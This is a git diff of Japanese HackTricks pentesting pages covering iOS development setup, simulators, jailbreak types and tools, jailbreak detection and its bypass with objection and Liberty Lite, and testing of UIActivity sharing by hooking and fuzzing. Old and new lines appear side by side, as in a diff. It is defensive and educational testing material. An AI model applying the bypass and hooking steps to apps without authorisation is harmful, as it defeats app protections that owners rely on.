* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
## Apple Developer Program
**プロビジョニングID**は、Apple開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。アプリに署名するためには、**Apple Developer Program**に登録するために**99ドル/年**を支払う必要があります。これをしないと、ソースコードからアプリケーションを物理デバイスで実行することはできません。別のオプションとして、**脱獄されたデバイス**を使用することもできます。
**プロビジョニングID**は、Apple開発者アカウントに関連付けられた公開および秘密キーのコレクションです。アプリに署名するには、**Apple Developer Program** に登録するために **99ドル/年** を支払う必要があります。これがないと、ソースコードからアプリケーションを物理デバイスで実行することはできません。これを行う別の方法は、**jailbrokenデバイス**を使用することです。
Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロファイル**の作成オプションを提供しています。これにより、実際のiPhoneでアプリケーションを書き込んでテストすることができます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_新しいAppli IDを追加 --> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_Apple Development --> _Done_\
\_\_その後、iPhoneでアプリケーションを実行するためには、まず**iPhoneがコンピュータを信頼するように指示する必要があります**。その後、Xcodeからモバイルでアプリケーションを実行しようとすることができますが、エラーが表示されます。そのため、_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択して「**Trust**」をクリックします。
Xcode 7.2から、**無料のiOS開発プロビジョニングプロファイル**を作成するオプションが提供されています。これにより、実際のiPhoneでアプリケーションを作成およびテストできます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_新しいAppli IDを追加して資格情報を入力 --> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_Apple Development --> _完了_\
\_\_その後、iPhoneでアプリケーションを実行するには、まず**iPhoneがコンピュータを信頼するように指定する必要があります。** その後、Xcodeから**モバイルでアプリケーションを実行**しようとするとエラーが表示されます。そのため、_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼できないプロファイルを選択して "**Trust**" をクリックします。
同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムなどのリソースを安全な方法で共有できることに注意してください。
**同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムなどのリソースを安全な方法で共有できます。**
プロビジョニングプロファイルは、電話内の**`/Library/MobileDevice/ProvisioningProfiles`**に保存されます。
プロビジョニングプロファイルは、**`/Library/MobileDevice/ProvisioningProfiles`**に保存されます。
## **シミュレータ**
{% hint style="info" %}
シミュレータは**エミュレータと同じではありません**。シミュレータはデバイスの振る舞いと機能をシミュレートしますが、実際には使用しません。
**シミュレータはエミュレータと同じではありません**。シミュレータはデバイスの動作と機能をシミュレートしますが、実際には使用しません。
{% endhint %}
**iOS SDKシミュレータ**は、iOSデバイスのより高レベルな_シミュレーション_を提供します。最も重要なことは、エミュレータバイナリはARMコードではなくx86コードにコンパイルされます。実際のデバイス向けにコンパイルされたアプリは実行されないため、シミュレータはブラックボックス分析やリバースエンジニアリングには役立ちません。
### **シミュレータ**
シミュレータ内でのペントストを実行する場合、**ジェイルブレイクされたデバイス**で行うよりも制限が多くなります
シミュレータ内での**ペンテストを実行することは、jailbrokenデバイスで行うよりも制限が多い**ことに注意してください
iOSアプリをビルドおよびサポートするために必要なすべてのツールは、**公式にはMac OSのみでサポートされています**。\
AppleのデファクトツールであるXcodeは、iOSアプリケーションの作成/デバッグ/インストゥルメンテーションに使用できます。他のコンポーネントシミュレータやさまざまなSDKバージョンなどをダウンロードすることもできます。\
**公式のアプリストア**からXcodeをダウンロードすることを強くお勧めします。他のバージョンにはマルウェアが含まれている可能性があります。
iOSアプリを構築およびサポートするために必要なすべてのツールは、**公式にはMac OSのみでサポート**されています。\
AppleのiOSアプリケーションの作成/デバッグ/インストゥルメンテーションのための事実上のツールは **Xcode** です。これを使用して、アプリを構築および**テスト**するために必要な**シミュレータ**や異なる**SDKバージョン**などの他のコンポーネントをダウンロードできます。\
**公式のApp Store** から Xcode をダウンロードすることを強くお勧めします。他のバージョンにはマルウェアが含まれている可能性があります。
シミュレータファイルは`/Users/<username>/Library/Developer/CoreSimulator/Devices`にあります。
シミュレータファイルは `/Users/<username>/Library/Developer/CoreSimulator/Devices` にあります。
シミュレータを開くには、Xcodeを実行し、_Xcodeタブ_ --> _Open Developer tools_ --> _Simulator_ をクリックします。\
\_\_次の画像で「iPod touch \[...]」をクリックすると、他のデバイスを選択できます。
\_\_次の画像では、「iPod touch \[...]」をクリックして他のデバイスを選択できます:
![](<../../.gitbook/assets/image (457).png>)
@ -50,73 +50,61 @@ AppleのデファクトツールであるXcodeは、iOSアプリケーション
### シミュレータ内のアプリケーション
`/Users/<username>/Library/Developer/CoreSimulator/Devices`内には、**インストールされたシミュレータ**がすべて表示されます。エミュレータ内で作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレータにアプリがインストールされているか**を知るのは難かもしれません。正しいUIDを見つけるためのクイックな方法は、シミュレータでアプリを実行し、次のコマンドを実行することです
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 内には、**インストールされたシミュレータ**がすべて含まれています。エミュレータの中で作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレータにアプリがインストールされているか**を知るのは難しいかもしれません。正しいUIDを見つけるための迅速な方法は、シミュレータでアプリを実行し、次のコマンドを実行することです:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
```
UIDがわかったら、それにインストールされているアプリは`/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`に見つけることができます。
## UIDの取得後、それにインストールされたアプリは`/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`に見つけることができます。
しかし、驚くことに、ここにアプリは見つかりません。`/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`にアクセスする必要があります。
しかし、驚くべきことに、ここにアプリケーションが見つからない場合があります。`/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`にアクセスする必要があります。
そして、このフォルダには**アプリケーションのパッケージが見つかります**。
そして、このフォルダーで**アプリケーションのパッケージを見つけることができます。**
## エミュレータ
Corelliumは現在公開されている唯一のiOSエミュレータです。これはエンタープライズ向けのSaaSソリューションであり、ユーザーライセンスモデルを採用しており、トライアルライセンスは提供されていません。
Corelliumは唯一の一般公開されているiOSエミュレータです。これはエンタープライズSaaSソリューションであり、ユーザーライセンスモデルを採用しており、トライアルライセンスは提供されていません。
## ジェイルブレイク
## Jailbreaking
AppleはiPhoneで実行されるコードが**Appleによって発行された証明書で署名されている**必要があります。**ジェイルブレイク**は、OSによって設定されたこれらの制限や他のセキュリティ制御を積極的に**回避するプロセス**です。したがって、デバイスがジェイルブレイクされると、インストールされるアプリをチェックする責任がある**整合性チェック**がパッチされ、**バイパス**されます。
AppleはiPhoneで実行されるコードが**Appleによって発行された証明書で署名されていることを厳密に要求**しています。**Jailbreaking**は、OSによって設定されたその他のセキュリティコントロールや制限を**回避するプロセス**です。したがって、デバイスがjailbrokenされると、インストールされているアプリをチェックする**整合性チェック**がパッチされ、**バイパス**されます。
{% hint style="info" %}
Androidとは異なり、iOSでは「デベロッパーモード」に切り替えて未署名/信頼できないコードをデバイス上で実行することはできません。
Androidとは異なり、iOSでは"デベロッパーモード"に切り替えて未署名/信頼されていないコードをデバイスで実行することはできません。
{% endhint %}
### AndroidのRootとの比較
### AndroidのRootingとiOSのJailbreaking
iOSのジェイルブレイクは、しばしばAndroidのルート化と比較されますが、プロセスは実際にはかなり**異なります**。違いを説明するために、まずAndroidの「ルート化」と「フラッシング」の概念を見直してみましょう
頻繁に比較されるAndroidの**rooting**とiOSの**jailbreaking**は基本的に異なるプロセスです。Androidデバイスのrootingには、`su`バイナリの**インストール**やルート化されたカスタムROMでシステムを**置換**することが含まれる場合がありますが、ブートローダーがアンロックされている場合は必ずしもエクスプロイトが必要ではありません。ブートローダーをアンロックした後、**カスタムROMをフラッシュ**することでデバイスのOSを置き換えることができ、時にはエクスプロイトが必要となります
* **ルート化**: これは通常、システムに`su`バイナリをインストールするか、ルート化されたカスタムROMでシステム全体を置き換えることを含みます。ブートローダーにアクセスできる限り、エクスプロイトはルートアクセスの取得に必要ありません。
* **カスタムROMのフラッシュ**: ブートローダーをアンロックした後、デバイス上で実行されているOSを置き換えることができます。ブートローダーをアンロックするためにはエクスプロイトが必要な場合があります。
一方、iOSデバイスはブートローダーがAppleの署名されたイメージのみをブートするように制限されているため、カスタムROMをフラッシュすることはできません。**Jailbreaking iOS**は、Appleのコード署名保護をバイパスして未署名のコードを実行することを目指し、Appleの継続的なセキュリティ強化によって複雑化されたプロセスです。
**iOSデバイスでは、カスタムROMのフラッシュは不可能**です。なぜなら、iOSブートローダーは**Appleによって署名されたイメージのみ**をブートおよびフラッシュすることを許可しているからです。これが、**Appleによって署名されていない場合、公式のiOSイメージもインストールできない**理由であり、iOSのダウングレードは前のiOSバージョンがまだ署名されている限りのみ可能です。
### Jailbreakingの課題
ジェイルブレイクの目的は、iOSの保護機能特にAppleのコード署名メカニズムを**無効にすること**です。これにより、デバイス上で**任意の未署名コードが実行**できるようになりますカスタムコードやCydiaやSileoなどの代替アプリストアからダウンロードしたコード。"ジェイルブレイク"という言葉は、無効化プロセスを自動化するオールインワンツールを指す口語的な表現です。
Appleは脆弱性を迅速にパッチするため、iOSのJailbreakingはますます困難になっています。iOSの**ダウングレード**はリリース後一定期間のみ可能であり、Jailbreakingは時間的に制約のある問題となります。セキュリティテストに使用されるデバイスは、再度Jailbreakingが保証されるまで更新されないようにする必要があります。
### ジェイルブレイクの考慮事項
iOSのアップデートは**チャレンジ・レスポンスメカニズム**SHSH blobsによって制御され、Appleの署名されたレスポンスのみインストールが許可されます。このメカニズムは、「署名ウィンドウ」として知られ、OTAファームウェアパッケージを保存して後で使用する能力を制限します。[IPSW Downloadsウェブサイト](https://ipsw.me)は、現在の署名ウィンドウを確認するためのリソースです。
iOSデバイスのジェイルブレイクは、Appleがシステムを強化し、エクスプロイトされた脆弱性を修正するため、ますます**複雑**になっています。ジェイルブレイクは非常に時間的に敏感な手順になっており、Appleが修正をリリースした後は比較的すぐにこれらの脆弱なバージョンの署名を停止しますiPhone 4やiPad 1のBootROMに影響を与える[limera1nエクスプロイト](https://www.theiphonewiki.com/wiki/Limera1n)などのハードウェアベースの脆弱性を利用する場合を除く)。つまり、**Appleがファームウェアの署名を停止した後は、特定のiOSバージョンにダウングレードすることはできません**。
### Jailbreakの種類
セキュリティテストに使用するジェイルブレイクされたデバイスがある場合は、最新のiOSバージョンにアップグレードした後も再ジェイルブレイクできることが100確実でない限り、そのままにしておいてください。
- **Tethered jailbreaks**は、各再起動時にコンピューターに接続する必要があります。
- **Semi-tethered jailbreaks**は、コンピューターなしで非jailbrokenモードにブートできます。
- **Semi-untethered jailbreaks**は、コンピューターを必要とせずに手動で再度jailbreakingする必要があります。
- **Untethered jailbreaks**は、再適用の必要なしに永続的なjailbreakソリューションを提供します。
iOSのアップグレードは、チャレンジレスポンスプロセスいわゆるSHSHブロブの生成に基づいています。デバイスは、チャレンジに対するレスポンスがAppleによって署名されている場合にのみOSのインストールを許可します。これが研究者が「署名ウィンドウ」と呼ぶものであり、**ダウンロードしたOTAファームウェアパッケージを単純に保存してデバイスにロードすることはできません**。マイナーなiOSのアップグレードでは、2つのバージョンがAppleによって署名される場合があります最新バージョンと前のiOSバージョン。これは、iOSデバイスをダウングレードできる唯一の状況です。現在の署名ウィンドウを確認し、OTAファームウェアをダウンロードすることができます。[IPSW Downloadsのウェブサイト](https://ipsw.me)から。
### Jailbreakingツールとリソース
{% hint style="danger" %}
**OSを更新すると、ジェイルブレイクの効果が失われます。**
{% endhint %}
JailbreakingツールはiOSのバージョンやデバイスによって異なります。[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)、[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)などのリソースは最新情報を提供しています。例として:
### ジェイルブレイクの種類
- [Checkra1n](https://checkra.in/)はA7-A11チップデバイス向けです。
- [Palera1n](https://palera.in/)はCheckm8デバイスA8-A11向けで、iOS 15.0-16.5をサポートしています。
- [Unc0ver](https://unc0ver.dev/)はiOS 14.8までのバージョンをサポートしています。
* **テザリングジェイルブレイク**は、再起動時に持続しないため、ジェイルブレイクを再適用するにはデバイスをコンピュータに接続する(テザリング)必要があります。コンピュータが接続されていない場合、デバイスは再起動しない場合があります。
* **セミテザリングジェイルブレイク**は、再起動時にデバイスがコンピュータに接続されていないと再適用できません。デバイスは自身で非ジェイルブレイクモードで起動することもできます。
* **セミアンテザリングジェイルブレイク**は、デバイスが自身で起動できますが、コード署名の無効化のためのカーネルパッチ(またはユーザーランドの変更)は自動的に適用されません。ユーザーはアプリを起動したり、ウェブサイトを訪れたりしてデバイスを再ジェイルブレイクする必要があります(コンピュータへの接続は必要ありませんので、アンテザリングという用語が使われます)。
* **アンテザリングジェイルブレイク**は、エンドユーザーにとって最も人気のある選択肢です。一度だけ適用する必要があり、その後デバイスは永久にジェイルブレイクされた状態になります。
デバイスを変更することにはリスクが伴いますので、Jailbreakingは慎重にアプローチする必要があります。
### ジェイルブレイクツール
### Jailbreakingの利点とリスク
異なるiOSバージョンには、**異なるジェイルブレイク手法**が必要です。[自分のiOSバージョンに公開されているジェイルブレイクがあるかどうかを確認](https://canijailbreak.com)してください。ジェイルブレイクグループ/作者の名前に似たドメイン名の背後に隠れている偽のツールやスパイウェアに注意してください。
バージョ
### 利点
Jailbreakingの最も重要な副作用は、OSによって設定された**サンドボックスが取り除かれる**ことです。したがって、デバイス上の**任意のアプリがファイルシステム上の任意のファイル**を読み取ることができます。これには、他のアプリのファイル、クッキー、キーチェーンも含まれます。
Jailbrokenデバイスでは、ユーザーは**承認されていないアプリをインストール**し、それ以外ではアクセスできない**より多くのAPI**を利用することができます。
{% hint style="warning" %}
**通常のユーザーはモバイルをJailbreakすることはお勧めしません**
{% endhint %}
JailbreakingはOSによる**サンドボックス制限を解除**し、アプリが全体のファイルシステムにアクセスできるようにします。この自由により、非承認のアプリのインストールやより多くのAPIへのアクセスが可能となります。ただし、一般ユーザーにとっては、潜在的なセキュリティリスクやデバイスの不安定性のため、Jailbreakingは**推奨されません**。
### **Jailbreaking後**
@ -126,31 +114,22 @@ Jailbrokenデバイスでは、ユーザーは**承認されていないアプ
### **Jailbreakの検出**
**いくつかのアプリケーションは、モバイルがJailbrokenされているかどうかを検出し、その場合はアプリケーションを実行しないようにします**
**いくつかのアプリケーションは、モバイルがjailbrokenされているかどうかを検出しようとします。その場合、アプリケーションは実行されません**
* iOSをJailbreakすると、通常**ファイルとフォルダがインストール**されます。これらを検索してデバイスがJailbrokenであるかどうかを判断することができます。
* Jailbrokenデバイスでは、アプリケーションはサンドボックスの外部にある**新しいファイルに読み書きアクセス**できます。
* 一部の**API呼び出し**は**異なる動作**を示します。
* iOSをjailbreakした後、通常**ファイルやフォルダーがインストール**されます。これらを検索してデバイスがjailbrokenされているかどうかを判断できます。
* Jailbrokenデバイスでは、アプリケーションがサンドボックス外の新しいファイルに**読み書きアクセス**を取得します。
* 一部の**APIコール**は**異なる動作**を示す場合があります。
* **OpenSSH**サービスの存在
* `/bin/sh`を呼び出すと、0ではなく1が**返されます**
* `/bin/sh`を呼び出すと、0ではなく**1が返されます**
**Jailbreakingの検出方法の詳細は[こちら](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)を参照してください。**
**Jailbreakingの検出方法についての詳細は**[**こちら**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**を参照してください。**
**objection**の`ios jailbreak disable`を使用して、この検出を回避することもできます。
これらの検出を回避するために**objection**の`ios jailbreak disable`を使用することができます。
## **Jailbreak Detection Bypass**
## **Jailbreakの検出回避**
* **objection**の`ios jailbreak disable`を使用して、この検出を回避することもできます。
* これらの検出を回避するために**objection**の`ios jailbreak disable`を使用することができます。
* ツール**Liberty Lite**https://ryleyangus.com/repo/)をインストールすることもできます。リポジトリが追加されると、アプリは「検索」タブに表示されるはずです。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## 参考文献
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)

View file

@ -1,94 +1,64 @@
# iOS UIActivity Sharing
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでのAWSハッキングを学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
# UIActivity Sharing Simplified
# UIActivity シェアリング
iOS 6以降、サードパーティアプリケーションは、Appleの[Inter-App Communicationガイド](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)で説明されているように、AirDropなどのメカニズムを使用してテキスト、URL、画像などのデータを**共有**できるようになりました。この機能は、「共有」ボタンを操作すると表示されるシステム全体の_共有アクティビティシート_を介して表れます。
iOS 6から、サードパーティアプリは特定のメカニズム例えばAirDropなどを介して**データ(アイテム)を共有する**ことが可能です。ユーザーから見ると、これは"シェア"ボタンをクリックした後に表示されるよく知られたシステム全体の_シェアアクティビティシート_です。
すべての組み込み共有オプションの包括的な列挙は[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で利用可能です。開発者は、アプリケーションに適さないと判断した場合、特定の共有オプションを除外することができます。
利用可能な組み込みシェアリングメカニズムの完全なリストは、[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で見つけることができます。アプリに適切でないと判断された場合、**開発者はこれらのシェアリングメカニズムのいくつかを除外する可能性があります**。
## **データの共有方法**
## **アイテムの送信**
以下に注力すべき点:
`UIActivity` シェアリングをテストする際には、特に以下に注意を払うべきです:
- 共有されるデータの性質。
- カスタムアクティビティの含有。
- 特定のアクティビティタイプの除外。
* 共有されるデータ(アイテム),
* カスタムアクティビティ,
* 除外されるアクティビティタイプ。
`UIActivity`を介したデータ共有は、`UIActivityViewController`を作成し、[`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)に望ましいアイテムURL、テキスト、画像を渡すことで機能します。
ソースコードを持っている場合は、`UIActivityViewController`を調べるべきです:
* `init(activityItems:applicationActivities:)`メソッドに渡されるアクティビティを検査する。
* カスタムアクティビティが定義されているか(前述のメソッドにも渡される)をチェックする。
* `excludedActivityTypes`があるかどうかを確認する。
コンパイル済み/インストール済みのアプリしか持っていない場合は、前述のメソッドとプロパティを探してみてください。例えば:
共有は、共有するアイテムが渡される`UIActivityViewController`のインスタンス化を通じて容易に行われます。これは、以下を呼び出すことで達成されます:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
## **アイテムの受信**
開発者は、`UIActivityViewController`が初期化される際に使用されるアクティビティやカスタムアクティビティ、および指定された`excludedActivityTypes`を検討すべきです。
アイテムを受信する際には、以下を確認する必要があります:
## **データの受信方法**
* アプリが**カスタムドキュメントタイプ**を宣言しているかどうかは、**Exported/Imported UTIs**Xcodeプロジェクトの"Info"タブを見て確認します。すべてのシステム宣言されたUTIsUniform Type Identifiersのリストは、[アーカイブされたApple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259)で見ることができます。
* アプリが開くことができる**ドキュメントタイプ**を指定しているかどうかは、**Document Types**Xcodeプロジェクトの"Info"タブを見て確認します。存在する場合、それらは名前と一つ以上のUTIsで構成されており、データタイプを表しますPNGファイルの場合は"public.png"。iOSはこれを使用して、アプリが特定のドキュメントを開く資格があるかどうかを判断しますExported/Imported UTIsを指定するだけでは不十分です
* アプリが受け取ったデータを適切に**検証**しているかどうかは、アプリデリゲート内の[`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc)(またはその非推奨バージョン[`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc))の実装を見て確認します。
データを受信する際に重要な点は次のとおりです:
ソースコードがない場合でも、`Info.plist`ファイルを見て以下を検索できます:
- **カスタムドキュメントタイプ**の宣言。
- アプリが開くことができる**ドキュメントタイプ**の指定。
- 受信したデータの**整合性の検証**。
* アプリがカスタムドキュメントタイプを宣言している場合は`UTExportedTypeDeclarations`/`UTImportedTypeDeclarations`。
* アプリが開くことができるドキュメントタイプを指定している場合は`CFBundleDocumentTypes`。
ソースコードにアクセスできない場合でも、`Info.plist`を調査して、アプリが処理できるドキュメントの種類や宣言を理解するために、`UTExportedTypeDeclarations`、`UTImportedTypeDeclarations`、`CFBundleDocumentTypes`などのキーを調べることができます。
これらのキーの使用についての非常に完全な説明は[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で見ることができますが、ここに要約があります:
これらのキーに関する簡潔なガイドは、[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で利用可能であり、システム全体での認識やアプリとの統合のためにUTIを定義およびインポートする重要性を強調しています。
* `UTExportedTypeDeclarations`システムにインストールされているアプリが自分のUTIsを教えるために使用します。**UTIはデータの一部を記述します**(必ずしもファイル内にあるデータではありません!)最低限、**識別子**`com.example.MyCoolDataType`)が必要です。さらに、**名前**`My Cool Data Type`)、一つ以上のファイル名**拡張子**`.myCoolDataType`)、一つ以上の**MIME** **タイプ**`x-application/my-cool-data-type`)、一つ以上の**ペーストボード** **タイプ**(コピー&ペーストを使用してその種類のデータを転送する際に使用される)、および一つ以上の**レガシーOSタイプ**があります。通常、既存のUTIsに準拠することも望まれますあなたのUTIが`public.data`に準拠していると言うと、一般的なデータを扱うことができるプロセスは、あなたのUTIも扱うことができます
* 例:独自のプロプライエタリファイルデータフォーマットを定義し、このデータフォーマットを他のアプリ、プラグイン、拡張機能などにも知らせたい場合。
* `UTImportedTypeDeclarations`システムにあなたのUTIsではないが、システムで知られているUTIsについて教えるために`UTImportedTypeDeclarations`を使用します。
* 例:あなたのアプリが他のアプリケーションのプロプライエタリデータフォーマットを読むことができるが、そのアプリケーションがシステムにインストールされているかどうかわからない場合。
* `CFBundleDocumentTypes`:システムにあなたのアプリが開くことができるドキュメントタイプを伝えるために`CFBundleDocumentTypes`を使用します。**ここにUTIsをリストしない限り**、これらのUTIsはアプリとFinderに関連付けられず、アプリは`Open With >`メニューに表示されません。\
ドキュメントタイプに常に設定する必要があるのは役割です。**役割**は"**Viewer**"(そのファイルタイプを表示できますが、編集はできません)、"**Editor**"(そのファイルタイプを表示して編集できます)、"**None**"(何をすることができるかは指定されていません)のいずれかです。
* 例:特定のファイルタイプにあなたの**アプリを関連付けたい**場合、拡張子、MIMEタイプ、またはUTI識別子で識別されます。**アプリをUTIタイプに関連付けたい場合、アプリはそのタイプをインポートまたはエクスポートする必要があります**。そうでないと、そのタイプはシステムに知られていない可能性があり、未知のUTIタイプに登録しても効果はありません。
## 動的テストアプローチ
## 動的テスト
**アクティビティの送信**をテストするためには、次のことができます:
**送信アクティビティ**については、以下の方法があります:
- `init(activityItems:applicationActivities:)`メソッドにフックして、共有されるアイテムやアクティビティをキャプチャします。
- `excludedActivityTypes`プロパティを傍受して、除外されたアクティビティを特定します。
* 静的分析で見たメソッド([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init))をフックして、`activityItems`と`applicationActivities`を取得します。
* [`excludedActivityTypes`プロパティ](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes)をフックして、除外されたアクティビティを見つけます。
**アイテムの受信**に関しては、次の手順が含まれます:
アイテムを受信するには、以下の方法があります:
- 他のソースAirDrop、メールからアプリにファイルを共有し、「開く」ダイアログを表示します。
- 静的解析中に特定された他のメソッドと共に`application:openURL:options:`をフックして、アプリの応答を観察します。
- アプリの堅牢性を評価するために、不正なファイルやファジング技術を使用します。
* 別のアプリからファイルをアプリに_Share_するか、AirDropやメールで送信します。"Open with..."ダイアログがトリガーされるファイルを選択しますつまり、ファイルを開くデフォルトのアプリがない場合、例えばPDFなど
